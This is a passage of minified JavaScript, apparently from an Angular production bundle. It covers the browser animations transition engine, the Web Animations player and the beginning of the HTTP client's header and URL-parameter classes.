l=Hf(i,r.triggerName,r.fromState.value,r.toState.value);l._data=t,Vf(r.player,a.phase,l,a.callback)}}),o.markedForDestroy?this._engine.afterFlush(()=>{o.destroy()}):n.push(r)}),this._queue=[],n.sort((r,o)=>{const i=r.transition.ast.depCount,s=o.transition.ast.depCount;return 0==i||0==s?i-s:this._engine.driver.containsElement(r.element,o.element)?1:-1})}destroy(t){this.players.forEach(n=>n.destroy()),this._signalRemovalForInnerTriggers(this.hostElement,t)}}class jL{_onRemovalComplete(t,n){this.onRemovalComplete(t,n)}constructor(t,n,r){this.bodyNode=t,this.driver=n,this._normalizer=r,this.players=[],this.newHostElements=new Map,this.playersByElement=new Map,this.playersByQueriedElement=new Map,this.statesByElement=new Map,this.disabledNodes=new Set,this.totalAnimations=0,this.totalQueuedPlayers=0,this._namespaceLookup={},this._namespaceList=[],this._flushFns=[],this._whenQuietFns=[],this.namespacesByHostElement=new Map,this.collectedEnterElements=[],this.collectedLeaveElements=[],this.onRemovalComplete=(o,i)=>{}}get queuedPlayers(){const t=[];return this._namespaceList.forEach(n=>{n.players.forEach(r=>{r.queued&&t.push(r)})}),t}createNamespace(t,n){const r=new LL(t,n,this);return this.bodyNode&&this.driver.containsElement(this.bodyNode,n)?this._balanceNamespaceList(r,n):(this.newHostElements.set(n,r),this.collectEnterElement(n)),this._namespaceLookup[t]=r}_balanceNamespaceList(t,n){const r=this._namespaceList,o=this.namespacesByHostElement;if(r.length-1>=0){let s=!1,a=this.driver.getParentElement(n);for(;a;){const l=o.get(a);if(l){const c=r.indexOf(l);r.splice(c+1,0,t),s=!0;break}a=this.driver.getParentElement(a)}s||r.unshift(t)}else r.push(t);return o.set(n,t),t}register(t,n){let r=this._namespaceLookup[t];return r||(r=this.createNamespace(t,n)),r}registerTrigger(t,n,r){let o=this._namespaceLookup[t];o&&o.register(n,r)&&this.totalAnimations++}destroy(t,n){t&&(this.afterFlush(()=>{}),this.afterFlushAnimationsDone(()=>{const r=this._fetchNamespace(t);this.namespacesByHostElement.delete(r.hostElement);const o=this._namespaceList.indexOf(r);o>=0&&this._namespaceList.splice(o,1),r.destroy(n),delete this._namespaceLookup[t]}))}_fetchNamespace(t){return this._namespaceLookup[t]}fetchNamespacesByElement(t){const n=new Set,r=this.statesByElement.get(t);if(r)for(let o of r.values())if(o.namespaceId){const i=this._fetchNamespace(o.namespaceId);i&&n.add(i)}return n}trigger(t,n,r,o){if(yl(n)){const i=this._fetchNamespace(t);if(i)return i.trigger(n,r,o),!0}return!1}insertNode(t,n,r,o){if(!yl(n))return;const i=n[Rt];if(i&&i.setForRemoval){i.setForRemoval=!1,i.setForMove=!0;const s=this.collectedLeaveElements.indexOf(n);s>=0&&this.collectedLeaveElements.splice(s,1)}if(t){const s=this._fetchNamespace(t);s&&s.insertNode(n,r)}o&&this.collectEnterElement(n)}collectEnterElement(t){this.collectedEnterElements.push(t)}markElementAsDisabled(t,n){n?this.disabledNodes.has(t)||(this.disabledNodes.add(t),Et(t,rh)):this.disabledNodes.has(t)&&(this.disabledNodes.delete(t),To(t,rh))}removeNode(t,n,r){if(yl(n)){const o=t?this._fetchNamespace(t):null;o?o.removeNode(n,r):this.markElementAsRemoved(t,n,!1,r);const i=this.namespacesByHostElement.get(n);i&&i.id!==t&&i.removeNode(n,r)}else this._onRemovalComplete(n,r)}markElementAsRemoved(t,n,r,o,i){this.collectedLeaveElements.push(n),n[Rt]={namespaceId:t,setForRemoval:o,hasAnimation:r,removedBeforeQueried:!1,previousTriggersValues:i}}listen(t,n,r,o,i){return yl(n)?this._fetchNamespace(t).listen(n,r,o,i):()=>{}}_buildInstruction(t,n,r,o,i){return t.transition.build(this.driver,t.element,t.fromState.value,t.toState.value,r,o,t.fromState.options,t.toState.options,n,i)}destroyInnerAnimations(t){let n=this.driver.query(t,ll,!0);n.forEach(r=>this.destroyActiveAnimationsForElement(r)),0!=this.playersByQueriedElement.size&&(n=this.driver.query(t,Wf,!0),n.forEach(r=>this.finishActiveQueriedAnimationOnElement(r)))}destroyActiveAnimationsForElement(t){const n=this.playersByElement.get(t);n&&n.forEach(r=>{r.queued?r.markedForDestroy=!0:r.destroy()})}finishActiveQueriedAnimationOnElement(t){const n=this.playersByQueriedElement.get(t);n&&n.forEach(r=>r.finish())}whenRenderingDone(){return new Promise(t=>{if(this.players.length)return Ln(this.players).onDone(()=>t());t()})}processLeaveNode(t){const n=t[Rt];if(n&&n.setForRemoval){if(t[Rt]=bw,n.namespaceId){this.destroyInnerAnimations(t);const r=this._fetchNamespace(n.namespaceId);r&&r.clearElementCache(t)}this._onRemovalComplete(t,n.setForRemoval)}t.classList?.contains(rh)&&this.markElementAsDisabled(t,!1),this.driver.query(t,".ng-animate-disabled",!0).forEach(r=>{this.markElementAsDisabled(r,!1)})}flush(t=-1){let n=[];if(this.newHostElements.size&&(this.newHostElements.forEach((r,o)=>this._balanceNamespaceList(r,o)),this.newHostElements.clear()),this.totalAnimations&&this.collectedEnterElements.length)for(let r=0;r<this.collectedEnterElements.length;r++)Et(this.collectedEnterElements[r],"ng-star-inserted");if(this._namespaceList.length&&(this.totalQueuedPlayers||this.collectedLeaveElements.length)){const r=[];try{n=this._flushAnimations(r,t)}finally{for(let o=0;o<r.length;o++)r[o]()}}else for(let r=0;r<this.collectedLeaveElements.length;r++)this.processLeaveNode(this.collectedLeaveElements[r]);if(this.totalQueuedPlayers=0,this.collectedEnterElements.length=0,this.collectedLeaveElements.length=0,this._flushFns.forEach(r=>r()),this._flushFns=[],this._whenQuietFns.length){const r=this._whenQuietFns;this._whenQuietFns=[],n.length?Ln(n).onDone(()=>{r.forEach(o=>o())}):r.forEach(o=>o())}}reportError(t){throw function $k(e){return new E(3402,!1)}()}_flushAnimations(t,n){const r=new pl,o=[],i=new Map,s=[],a=new Map,l=new Map,c=new Map,u=new Set;this.disabledNodes.forEach(I=>{u.add(I);const T=this.driver.query(I,".ng-animate-queued",!0);for(let R=0;R<T.length;R++)u.add(T[R])});const d=this.bodyNode,f=Array.from(this.statesByElement.keys()),h=Mw(f,this.collectedEnterElements),p=new Map;let g=0;h.forEach((I,T)=>{const R=qf+g++;p.set(T,R),I.forEach(G=>Et(G,R))});const m=[],D=new Set,y=new Set;for(let I=0;I<this.collectedLeaveElements.length;I++){const T=this.collectedLeaveElements[I],R=T[Rt];R&&R.setForRemoval&&(m.push(T),D.add(T),R.hasAnimation?this.driver.query(T,".ng-star-inserted",!0).forEach(G=>D.add(G)):y.add(T))}const _=new Map,C=Mw(f,Array.from(D));C.forEach((I,T)=>{const R=sl+g++;_.set(T,R),I.forEach(G=>Et(G,R))}),t.push(()=>{h.forEach((I,T)=>{const R=p.get(T);I.forEach(G=>To(G,R))}),C.forEach((I,T)=>{const R=_.get(T);I.forEach(G=>To(G,R))}),m.forEach(I=>{this.processLeaveNode(I)})});const P=[],$=[];for(let I=this._namespaceList.length-1;I>=0;I--)this._namespaceList[I].drainQueuedTransitions(n).forEach(R=>{const G=R.player,Pe=R.element;if(P.push(G),this.collectedEnterElements.length){const He=Pe[Rt];if(He&&He.setForMove){if(He.previousTriggersValues&&He.previousTriggersValues.has(R.triggerName)){const yr=He.previousTriggersValues.get(R.triggerName),_t=this.statesByElement.get(R.element);if(_t&&_t.has(R.triggerName)){const Sl=_t.get(R.triggerName);Sl.value=yr,_t.set(R.triggerName,Sl)}}return void G.destroy()}}const tn=!d||!this.driver.containsElement(d,Pe),ht=_.get(Pe),$n=p.get(Pe),ue=this._buildInstruction(R,r,$n,ht,tn);if(ue.errors&&ue.errors.length)return void $.push(ue);if(tn)return G.onStart(()=>fr(Pe,ue.fromStyles)),G.onDestroy(()=>en(Pe,ue.toStyles)),void o.push(G);if(R.isFallbackTransition)return G.onStart(()=>fr(Pe,ue.fromStyles)),G.onDestroy(()=>en(Pe,ue.toStyles)),void o.push(G);const yC=[];ue.timelines.forEach(He=>{He.stretchStartingKeyframe=!0,this.disabledNodes.has(He.element)||yC.push(He)}),ue.timelines=yC,r.append(Pe,ue.timelines),s.push({instruction:ue,player:G,element:Pe}),ue.queriedElements.forEach(He=>dt(a,He,[]).push(G)),ue.preStyleProps.forEach((He,yr)=>{if(He.size){let _t=l.get(yr);_t||l.set(yr,_t=new Set),He.forEach((Sl,yh)=>_t.add(yh))}}),ue.postStyleProps.forEach((He,yr)=>{let _t=c.get(yr);_t||c.set(yr,_t=new Set),He.forEach((Sl,yh)=>_t.add(yh))})});if($.length){const I=[];$.forEach(T=>{I.push(function Uk(e,t){return new E(3505,!1)}())}),P.forEach(T=>T.destroy()),this.reportError(I)}const ne=new Map,Be=new Map;s.forEach(I=>{const T=I.element;r.has(T)&&(Be.set(T,T),this._beforeAnimationBuild(I.player.namespaceId,I.instruction,ne))}),o.forEach(I=>{const T=I.element;this._getPreviousPlayers(T,!1,I.namespaceId,I.triggerName,null).forEach(G=>{dt(ne,T,[]).push(G),G.destroy()})});const Ot=m.filter(I=>Aw(I,l,c)),xt=new Map;Tw(xt,this.driver,y,c,vn).forEach(I=>{Aw(I,l,c)&&Ot.push(I)});const Yi=new Map;h.forEach((I,T)=>{Tw(Yi,this.driver,new Set(I),l,"!")}),Ot.forEach(I=>{const T=xt.get(I),R=Yi.get(I);xt.set(I,new Map([...T?.entries()??[],...R?.entries()??[]]))});const mr=[],gC=[],mC={};s.forEach(I=>{const{element:T,player:R,instruction:G}=I;if(r.has(T)){if(u.has(T))return R.onDestroy(()=>en(T,G.toStyles)),R.disabled=!0,R.overrideTotalTime(G.totalTime),void o.push(R);let Pe=mC;if(Be.size>1){let ht=T;const $n=[];for(;ht=ht.parentNode;){const ue=Be.get(ht);if(ue){Pe=ue;break}$n.push(ht)}$n.forEach(ue=>Be.set(ue,Pe))}const tn=this._buildAnimation(R.namespaceId,G,ne,i,Yi,xt);if(R.setRealPlayer(tn),Pe===mC)mr.push(R);else{const ht=this.playersByElement.get(Pe);ht&&ht.length&&(R.parentPlayer=Ln(ht)),o.push(R)}}else fr(T,G.fromStyles),R.onDestroy(()=>en(T,G.toStyles)),gC.push(R),u.has(T)&&o.push(R)}),gC.forEach(I=>{const T=i.get(I.element);if(T&&T.length){const R=Ln(T);I.setRealPlayer(R)}}),o.forEach(I=>{I.parentPlayer?I.syncPlayerEvents(I.parentPlayer):I.destroy()});for(let I=0;I<m.length;I++){const T=m[I],R=T[Rt];if(To(T,sl),R&&R.hasAnimation)continue;let G=[];if(a.size){let tn=a.get(T);tn&&tn.length&&G.push(...tn);let ht=this.driver.query(T,Wf,!0);for(let $n=0;$n<ht.length;$n++){let ue=a.get(ht[$n]);ue&&ue.length&&G.push(...ue)}}const Pe=G.filter(tn=>!tn.destroyed);Pe.length?$L(this,T,Pe):this.processLeaveNode(T)}return m.length=0,mr.forEach(I=>{this.players.push(I),I.onDone(()=>{I.destroy();const T=this.players.indexOf(I);this.players.splice(T,1)}),I.play()}),mr}afterFlush(t){this._flushFns.push(t)}afterFlushAnimationsDone(t){this._whenQuietFns.push(t)}_getPreviousPlayers(t,n,r,o,i){let s=[];if(n){const a=this.playersByQueriedElement.get(t);a&&(s=a)}else{const a=this.playersByElement.get(t);if(a){const l=!i||i==Wi;a.forEach(c=>{c.queued||!l&&c.triggerName!=o||s.push(c)})}}return(r||o)&&(s=s.filter(a=>!(r&&r!=a.namespaceId||o&&o!=a.triggerName))),s}_beforeAnimationBuild(t,n,r){const i=n.element,s=n.isRemovalTransition?void 0:t,a=n.isRemovalTransition?void 0:n.triggerName;for(const l of n.timelines){const c=l.element,u=c!==i,d=dt(r,c,[]);this._getPreviousPlayers(c,u,s,a,n.toState).forEach(h=>{const p=h.getRealPlayer();p.beforeDestroy&&p.beforeDestroy(),h.destroy(),d.push(h)})}fr(i,n.fromStyles)}_buildAnimation(t,n,r,o,i,s){const a=n.triggerName,l=n.element,c=[],u=new Set,d=new Set,f=n.timelines.map(p=>{const g=p.element;u.add(g);const m=g[Rt];if(m&&m.removedBeforeQueried)return new Ui(p.duration,p.delay);const D=g!==l,y=function UL(e){const t=[];return Nw(e,t),t}((r.get(g)||FL).map(ne=>ne.getRealPlayer())).filter(ne=>!!ne.element&&ne.element===g),_=i.get(g),C=s.get(g),P=iw(this._normalizer,p.keyframes,_,C),$=this._buildPlayer(p,P,y);if(p.subTimeline&&o&&d.add(g),D){const ne=new sh(t,a,g);ne.setRealPlayer($),c.push(ne)}return $});c.forEach(p=>{dt(this.playersByQueriedElement,p.element,[]).push(p),p.onDone(()=>function VL(e,t,n){let r=e.get(t);if(r){if(r.length){const o=r.indexOf(n);r.splice(o,1)}0==r.length&&e.delete(t)}return r}(this.playersByQueriedElement,p.element,p))}),u.forEach(p=>Et(p,dw));const h=Ln(f);return h.onDestroy(()=>{u.forEach(p=>To(p,dw)),en(l,n.toStyles)}),d.forEach(p=>{dt(o,p,[]).push(h)}),h}_buildPlayer(t,n,r){return n.length>0?this.driver.animate(t.element,n,t.duration,t.delay,t.easing,r):new Ui(t.duration,t.delay)}}class sh{constructor(t,n,r){this.namespaceId=t,this.triggerName=n,this.element=r,this._player=new Ui,this._containsRealPlayer=!1,this._queuedCallbacks=new Map,this.destroyed=!1,this.parentPlayer=null,this.markedForDestroy=!1,this.disabled=!1,this.queued=!0,this.totalTime=0}setRealPlayer(t){this._containsRealPlayer||(this._player=t,this._queuedCallbacks.forEach((n,r)=>{n.forEach(o=>Vf(t,r,void 0,o))}),this._queuedCallbacks.clear(),this._containsRealPlayer=!0,this.overrideTotalTime(t.totalTime),this.queued=!1)}getRealPlayer(){return this._player}overrideTotalTime(t){this.totalTime=t}syncPlayerEvents(t){const n=this._player;n.triggerCallback&&t.onStart(()=>n.triggerCallback("start")),t.onDone(()=>this.finish()),t.onDestroy(()=>this.destroy())}_queueEvent(t,n){dt(this._queuedCallbacks,t,[]).push(n)}onDone(t){this.queued&&this._queueEvent("done",t),this._player.onDone(t)}onStart(t){this.queued&&this._queueEvent("start",t),this._player.onStart(t)}onDestroy(t){this.queued&&this._queueEvent("destroy",t),this._player.onDestroy(t)}init(){this._player.init()}hasStarted(){return!this.queued&&this._player.hasStarted()}play(){!this.queued&&this._player.play()}pause(){!this.queued&&this._player.pause()}restart(){!this.queued&&this._player.restart()}finish(){this._player.finish()}destroy(){this.destroyed=!0,this._player.destroy()}reset(){!this.queued&&this._player.reset()}setPosition(t){this.queued||this._player.setPosition(t)}getPosition(){return this.queued?0:this._player.getPosition()}triggerCallback(t){const n=this._player;n.triggerCallback&&n.triggerCallback(t)}}function yl(e){return e&&1===e.nodeType}function Sw(e,t){const n=e.style.display;return e.style.display=t??"none",n}function Tw(e,t,n,r,o){const i=[];n.forEach(l=>i.push(Sw(l)));const s=[];r.forEach((l,c)=>{const u=new Map;l.forEach(d=>{const f=t.computeStyle(c,d,o);u.set(d,f),(!f||0==f.length)&&(c[Rt]=kL,s.push(c))}),e.set(c,u)});let a=0;return n.forEach(l=>Sw(l,i[a++])),s}function Mw(e,t){const n=new Map;if(e.forEach(a=>n.set(a,[])),0==t.length)return n;const o=new Set(t),i=new Map;function s(a){if(!a)return 1;let l=i.get(a);if(l)return l;const c=a.parentNode;return l=n.has(c)?c:o.has(c)?1:s(c),i.set(a,l),l}return t.forEach(a=>{const l=s(a);1!==l&&n.get(l).push(a)}),n}function Et(e,t){e.classList?.add(t)}function To(e,t){e.classList?.remove(t)}function $L(e,t,n){Ln(n).onDone(()=>e.processLeaveNode(t))}function Nw(e,t){for(let n=0;n<e.length;n++){const r=e[n];r instanceof rw?Nw(r.players,t):t.push(r)}}function Aw(e,t,n){const r=n.get(e);if(!r)return!1;let o=t.get(e);return o?r.forEach(i=>o.add(i)):t.set(e,r),n.delete(e),!0}class Ki{constructor(t,n,r){this._driver=n,this._normalizer=r,this._triggerCache={},this.onRemovalComplete=(o,i)=>{},this._transitionEngine=new jL(t.body,n,r),this._timelineEngine=new AL(t.body,n,r),this._transitionEngine.onRemovalComplete=(o,i)=>this.onRemovalComplete(o,i)}registerTrigger(t,n,r,o,i){const s=t+"-"+o;let a=this._triggerCache[s];if(!a){const l=[],u=Yf(this._driver,i,l,[]);if(l.length)throw function Rk(e,t){return new E(3404,!1)}();a=function SL(e,t,n){return new TL(e,t,n)}(o,u,this._normalizer),this._triggerCache[s]=a}this._transitionEngine.registerTrigger(n,o,a)}register(t,n){this._transitionEngine.register(t,n)}destroy(t,n){this._transitionEngine.destroy(t,n)}onInsert(t,n,r,o){this._transitionEngine.insertNode(t,n,r,o)}onRemove(t,n,r){this._transitionEngine.removeNode(t,n,r)}disableAnimations(t,n){this._transitionEngine.markElementAsDisabled(t,n)}process(t,n,r,o){if("@"==r.charAt(0)){const[i,s]=sw(r);this._timelineEngine.command(i,n,s,o)}else this._transitionEngine.trigger(t,n,r,o)}listen(t,n,r,o,i){if("@"==r.charAt(0)){const[s,a]=sw(r);return this._timelineEngine.listen(s,n,a,i)}return this._transitionEngine.listen(t,n,r,o,i)}flush(t=-1){this._transitionEngine.flush(t)}get players(){return[...this._transitionEngine.players,...this._timelineEngine.players]}whenRenderingDone(){return this._transitionEngine.whenRenderingDone()}afterFlushAnimationsDone(t){this._transitionEngine.afterFlushAnimationsDone(t)}}let qL=(()=>{class e{static#e=this.initialStylesByElement=new WeakMap;constructor(n,r,o){this._element=n,this._startStyles=r,this._endStyles=o,this._state=0;let i=e.initialStylesByElement.get(n);i||e.initialStylesByElement.set(n,i=new Map),this._initialStyles=i}start(){this._state<1&&(this._startStyles&&en(this._element,this._startStyles,this._initialStyles),this._state=1)}finish(){this.start(),this._state<2&&(en(this._element,this._initialStyles),this._endStyles&&(en(this._element,this._endStyles),this._endStyles=null),this._state=1)}destroy(){this.finish(),this._state<3&&(e.initialStylesByElement.delete(this._element),this._startStyles&&(fr(this._element,this._startStyles),this._endStyles=null),this._endStyles&&(fr(this._element,this._endStyles),this._endStyles=null),en(this._element,this._initialStyles),this._state=3)}}return e})();function ah(e){let t=null;return e.forEach((n,r)=>{(function WL(e){return"display"===e||"position"===e})(r)&&(t=t||new Map,t.set(r,n))}),t}class Pw{constructor(t,n,r,o){this.element=t,this.keyframes=n,this.options=r,this._specialStyles=o,this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._initialized=!1,this._finished=!1,this._started=!1,this._destroyed=!1,this._originalOnDoneFns=[],this._originalOnStartFns=[],this.time=0,this.parentPlayer=null,this.currentSnapshot=new Map,this._duration=r.duration,this._delay=r.delay||0,this.time=this._duration+this._delay}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(t=>t()),this._onDoneFns=[])}init(){this._buildPlayer(),this._preparePlayerBeforeStart()}_buildPlayer(){if(this._initialized)return;this._initialized=!0;const t=this.keyframes;this.domPlayer=this._triggerWebAnimation(this.element,t,this.options),this._finalKeyframe=t.length?t[t.length-1]:new Map;const n=()=>this._onFinish();this.domPlayer.addEventListener("finish",n),this.onDestroy(()=>{this.domPlayer.removeEventListener("finish",n)})}_preparePlayerBeforeStart(){this._delay?this._resetDomPlayerState():this.domPlayer.pause()}_convertKeyframesToObject(t){const n=[];return t.forEach(r=>{n.push(Object.fromEntries(r))}),n}_triggerWebAnimation(t,n,r){return t.animate(this._convertKeyframesToObject(n),r)}onStart(t){this._originalOnStartFns.push(t),this._onStartFns.push(t)}onDone(t){this._originalOnDoneFns.push(t),this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}play(){this._buildPlayer(),this.hasStarted()||(this._onStartFns.forEach(t=>t()),this._onStartFns=[],this._started=!0,this._specialStyles&&this._specialStyles.start()),this.domPlayer.play()}pause(){this.init(),this.domPlayer.pause()}finish(){this.init(),this._specialStyles&&this._specialStyles.finish(),this._onFinish(),this.domPlayer.finish()}reset(){this._resetDomPlayerState(),this._destroyed=!1,this._finished=!1,this._started=!1,this._onStartFns=this._originalOnStartFns,this._onDoneFns=this._originalOnDoneFns}_resetDomPlayerState(){this.domPlayer&&this.domPlayer.cancel()}restart(){this.reset(),this.play()}hasStarted(){return this._started}destroy(){this._destroyed||(this._destroyed=!0,this._resetDomPlayerState(),this._onFinish(),this._specialStyles&&this._specialStyles.destroy(),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}setPosition(t){void 0===this.domPlayer&&this.init(),this.domPlayer.currentTime=t*this.time}getPosition(){return+(this.domPlayer.currentTime??0)/this.time}get totalTime(){return this._delay+this._duration}beforeDestroy(){const t=new Map;this.hasStarted()&&this._finalKeyframe.forEach((r,o)=>{"offset"!==o&&t.set(o,this._finished?r:gw(this.element,o))}),this.currentSnapshot=t}triggerCallback(t){const n="start"===t?this._onStartFns:this._onDoneFns;n.forEach(r=>r()),n.length=0}}class Rw{validateStyleProperty(t){return!0}validateAnimatableStyleProperty(t){return!0}matchesElement(t,n){return!1}containsElement(t,n){return lw(t,n)}getParentElement(t){return $f(t)}query(t,n,r){return cw(t,n,r)}computeStyle(t,n,r){return window.getComputedStyle(t)[n]}animate(t,n,r,o,i,s=[]){const l={duration:r,delay:o,fill:0==o?"both":"forwards"};i&&(l.easing=i);const c=new Map,u=s.filter(h=>h instanceof Pw);(function nL(e,t){return 0===e||0===t})(r,o)&&u.forEach(h=>{h.currentSnapshot.forEach((p,g)=>c.set(g,p))});let d=function Jk(e){return e.length?e[0]instanceof Map?e:e.map(t=>fw(t)):[]}(n).map(h=>jn(h));d=function rL(e,t,n){if(n.size&&t.length){let r=t[0],o=[];if(n.forEach((i,s)=>{r.has(s)||o.push(s),r.set(s,i)}),o.length)for(let i=1;i<t.length;i++){let s=t[i];o.forEach(a=>s.set(a,gw(e,a)))}}return t}(t,d,c);const f=function GL(e,t){let n=null,r=null;return Array.isArray(t)&&t.length?(n=ah(t[0]),t.length>1&&(r=ah(t[t.length-1]))):t instanceof Map&&(n=ah(t)),n||r?new qL(e,n,r):null}(t,d);return new Pw(t,d,l,f)}}const Ow="@.disabled";class xw{constructor(t,n,r,o){this.namespaceId=t,this.delegate=n,this.engine=r,this._onDestroy=o,this.\u0275type=0}get data(){return this.delegate.data}destroyNode(t){this.delegate.destroyNode?.(t)}destroy(){this.engine.destroy(this.namespaceId,this.delegate),this.engine.afterFlushAnimationsDone(()=>{queueMicrotask(()=>{this.delegate.destroy()})}),this._onDestroy?.()}createElement(t,n){return this.delegate.createElement(t,n)}createComment(t){return this.delegate.createComment(t)}createText(t){return this.delegate.createText(t)}appendChild(t,n){this.delegate.appendChild(t,n),this.engine.onInsert(this.namespaceId,n,t,!1)}insertBefore(t,n,r,o=!0){this.delegate.insertBefore(t,n,r),this.engine.onInsert(this.namespaceId,n,t,o)}removeChild(t,n,r){this.engine.onRemove(this.namespaceId,n,this.delegate)}selectRootElement(t,n){return this.delegate.selectRootElement(t,n)}parentNode(t){return this.delegate.parentNode(t)}nextSibling(t){return this.delegate.nextSibling(t)}setAttribute(t,n,r,o){this.delegate.setAttribute(t,n,r,o)}removeAttribute(t,n,r){this.delegate.removeAttribute(t,n,r)}addClass(t,n){this.delegate.addClass(t,n)}removeClass(t,n){this.delegate.removeClass(t,n)}setStyle(t,n,r,o){this.delegate.setStyle(t,n,r,o)}removeStyle(t,n,r){this.delegate.removeStyle(t,n,r)}setProperty(t,n,r){"@"==n.charAt(0)&&n==Ow?this.disableAnimations(t,!!r):this.delegate.setProperty(t,n,r)}setValue(t,n){this.delegate.setValue(t,n)}listen(t,n,r){return this.delegate.listen(t,n,r)}disableAnimations(t,n){this.engine.disableAnimations(t,n)}}class KL extends xw{constructor(t,n,r,o,i){super(n,r,o,i),this.factory=t,this.namespaceId=n}setProperty(t,n,r){"@"==n.charAt(0)?"."==n.charAt(1)&&n==Ow?this.disableAnimations(t,r=void 0===r||!!r):this.engine.process(this.namespaceId,t,n.slice(1),r):this.delegate.setProperty(t,n,r)}listen(t,n,r){if("@"==n.charAt(0)){const o=function QL(e){switch(e){case"body":return document.body;case"document":return document;case"window":return window;default:return e}}(t);let i=n.slice(1),s="";return"@"!=i.charAt(0)&&([i,s]=function ZL(e){const t=e.indexOf(".");return[e.substring(0,t),e.slice(t+1)]}(i)),this.engine.listen(this.namespaceId,o,i,s,a=>{this.factory.scheduleListenerCallback(a._data||-1,r,a)})}return this.delegate.listen(t,n,r)}}class YL{constructor(t,n,r){this.delegate=t,this.engine=n,this._zone=r,this._currentId=0,this._microtaskId=1,this._animationCallbacksBuffer=[],this._rendererCache=new Map,this._cdRecurDepth=0,n.onRemovalComplete=(o,i)=>{const s=i?.parentNode(o);s&&i.removeChild(s,o)}}createRenderer(t,n){const o=this.delegate.createRenderer(t,n);if(!t||!n?.data?.animation){const c=this._rendererCache;let u=c.get(o);return u||(u=new xw("",o,this.engine,()=>c.delete(o)),c.set(o,u)),u}const i=n.id,s=n.id+"-"+this._currentId;this._currentId++,this.engine.register(s,t);const a=c=>{Array.isArray(c)?c.forEach(a):this.engine.registerTrigger(i,s,t,c.name,c)};return n.data.animation.forEach(a),new KL(this,s,o,this.engine)}begin(){this._cdRecurDepth++,this.delegate.begin&&this.delegate.begin()}_scheduleCountTask(){queueMicrotask(()=>{this._microtaskId++})}scheduleListenerCallback(t,n,r){if(t>=0&&t<this._microtaskId)return void this._zone.run(()=>n(r));const o=this._animationCallbacksBuffer;0==o.length&&queueMicrotask(()=>{this._zone.run(()=>{o.forEach(i=>{const[s,a]=i;s(a)}),this._animationCallbacksBuffer=[]})}),o.push([n,r])}end(){this._cdRecurDepth--,0==this._cdRecurDepth&&this._zone.runOutsideAngular(()=>{this._scheduleCountTask(),this.engine.flush(this._microtaskId)}),this.delegate.end&&this.delegate.end()}whenRenderingDone(){return this.engine.whenRenderingDone()}}const Fw=[{provide:Gf,useFactory:function JL(){return new mw}},{provide:Ki,useClass:(()=>{class e extends Ki{constructor(n,r,o,i){super(n,r,o)}ngOnDestroy(){this.flush()}static#e=this.\u0275fac=function(r){return new(r||e)(M(gn),M(zf),M(Gf),M(cr))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})()},{provide:Au,useFactory:function ej(e,t,n){return new YL(e,t,n)},deps:[xf,Ki,ee]}],lh=[{provide:zf,useFactory:()=>new Rw},{provide:Rg,useValue:"BrowserAnimations"},...Fw],kw=[{provide:zf,useClass:Uf},{provide:Rg,useValue:"NoopAnimations"},...Fw];let tj=(()=>{class e{static withConfig(n){return{ngModule:e,providers:n.disableAnimations?kw:lh}}static#e=this.\u0275fac=function(r){return new(r||e)};static#t=this.\u0275mod=Gn({type:e});static#n=this.\u0275inj=Cn({providers:lh,imports:[Q_]})}return e})();function Vw(e){return wt((t,n)=>{try{t.subscribe(n)}finally{n.add(e)}})}class Dl{}class El{}class nt{constructor(t){this.normalizedNames=new Map,this.lazyUpdate=null,t?"string"==typeof t?this.lazyInit=()=>{this.headers=new Map,t.split("\n").forEach(n=>{const r=n.indexOf(":");if(r>0){const o=n.slice(0,r),i=o.toLowerCase(),s=n.slice(r+1).trim();this.maybeSetNormalizedName(o,i),this.headers.has(i)?this.headers.get(i).push(s):this.headers.set(i,[s])}})}:typeof Headers<"u"&&t instanceof Headers?(this.headers=new Map,t.forEach((n,r)=>{this.setHeaderEntries(r,n)})):this.lazyInit=()=>{this.headers=new Map,Object.entries(t).forEach(([n,r])=>{this.setHeaderEntries(n,r)})}:this.headers=new Map}has(t){return this.init(),this.headers.has(t.toLowerCase())}get(t){this.init();const n=this.headers.get(t.toLowerCase());return n&&n.length>0?n[0]:null}keys(){return this.init(),Array.from(this.normalizedNames.values())}getAll(t){return this.init(),this.headers.get(t.toLowerCase())||null}append(t,n){return this.clone({name:t,value:n,op:"a"})}set(t,n){return this.clone({name:t,value:n,op:"s"})}delete(t,n){return this.clone({name:t,value:n,op:"d"})}maybeSetNormalizedName(t,n){this.normalizedNames.has(n)||this.normalizedNames.set(n,t)}init(){this.lazyInit&&(this.lazyInit instanceof nt?this.copyFrom(this.lazyInit):this.lazyInit(),this.lazyInit=null,this.lazyUpdate&&(this.lazyUpdate.forEach(t=>this.applyUpdate(t)),this.lazyUpdate=null))}copyFrom(t){t.init(),Array.from(t.headers.keys()).forEach(n=>{this.headers.set(n,t.headers.get(n)),this.normalizedNames.set(n,t.normalizedNames.get(n))})}clone(t){const n=new nt;return n.lazyInit=this.lazyInit&&this.lazyInit instanceof nt?this.lazyInit:this,n.lazyUpdate=(this.lazyUpdate||[]).concat([t]),n}applyUpdate(t){const n=t.name.toLowerCase();switch(t.op){case"a":case"s":let r=t.value;if("string"==typeof r&&(r=[r]),0===r.length)return;this.maybeSetNormalizedName(t.name,n);const o=("a"===t.op?this.headers.get(n):void 0)||[];o.push(...r),this.headers.set(n,o);break;case"d":const i=t.value;if(i){let s=this.headers.get(n);if(!s)return;s=s.filter(a=>-1===i.indexOf(a)),0===s.length?(this.headers.delete(n),this.normalizedNames.delete(n)):this.headers.set(n,s)}else this.headers.delete(n),this.normalizedNames.delete(n)}}setHeaderEntries(t,n){const r=(Array.isArray(n)?n:[n]).map(i=>i.toString()),o=t.toLowerCase();this.headers.set(o,r),this.maybeSetNormalizedName(t,o)}forEach(t){this.init(),Array.from(this.normalizedNames.keys()).forEach(n=>t(this.normalizedNames.get(n),this.headers.get(n)))}}class oj{encodeKey(t){return Bw(t)}encodeValue(t){return Bw(t)}decodeKey(t){return decodeURIComponent(t)}decodeValue(t){return decodeURIComponent(t)}}const sj=/%(\d[a-f0-9])/gi,aj={40:"@","3A":":",24:"$","2C":",","3B":";","3D":"=","3F":"?","2F":"/"};function Bw(e){return encodeURIComponent(e).replace(sj,(t,n)=>aj[n]??t)}function _l(e){return`${e}`}class Vn{constructor(t={}){if(this.updates=null,this.cloneFrom=null,this.encoder=t.encoder||new oj,t.fromString){if(t.fromObject)throw new Error("Cannot specify both fromString and fromObject.");this.map=function 